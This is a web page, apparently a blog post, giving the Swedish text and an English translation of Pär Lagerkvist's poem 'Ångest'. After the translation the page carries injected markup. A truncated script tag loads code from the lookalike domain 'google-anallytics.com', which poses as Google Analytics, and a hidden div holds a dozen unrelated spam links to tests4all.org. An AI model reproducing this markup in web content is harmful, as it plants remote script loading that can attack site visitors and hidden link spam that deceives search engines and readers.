Description of what is on the sound file:
A poem by Swedish poet Pär Lagerkvist. Very emo :) It's not to be taken as representative of me in any way. I just happen to like the imagery.


Transcript of sound file:
Ångest, ångest är min arvedel,
min strupes sår,
mitt hjärtas skri i världen.
Nu styvnar löddrig sky
i nattens grova hand,
nu stiga skogarna
och stela höjder
så kargt mot himmelens
förkrympta valv.
Hur hårt är allt,
hur stelnat, svart och stilla!

Jag famlar kring i detta dunkla rum,
jag känner klippans vassa kant mot mina fingrar,
jag river mina uppåtsträckta händer
till blods mot molnens frusna trasor.

Ack, mina naglar sliter jag från fingrarna,
mina händer river jag såriga, ömma
mot berg och mörknad skog,
mot himlens svarta järn
och mot den kalla jorden!

Ångest, ångest är min arvedel,
min strupes sår,
mitt hjärtas skri i världen.


Translation:
Anguish, anguish is my inheritance
The wound in my throat
my heart's scream in the world
Now stiffens foamy sky
in the rough hand of the night.
Now rise the forests
and stiff heights
so ruggedly against the sky's
shrunken vault.
How hard is all
how frozen, black and still!

I fumble around in this dark room,
I feel the sharp edge of the rock against my fingers,
I shred my raised hands
to blood against the frozen shatters of the clouds.

Alas, my nails I tear from my fingers,
my hands I tear wounded, sore,
against mountain and darkened wood,
against the black iron of the sky,
and against the cold earth!

Anguish, anguish is my inheritance,
the wound in my throat,
my heart's scream in the world.'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>
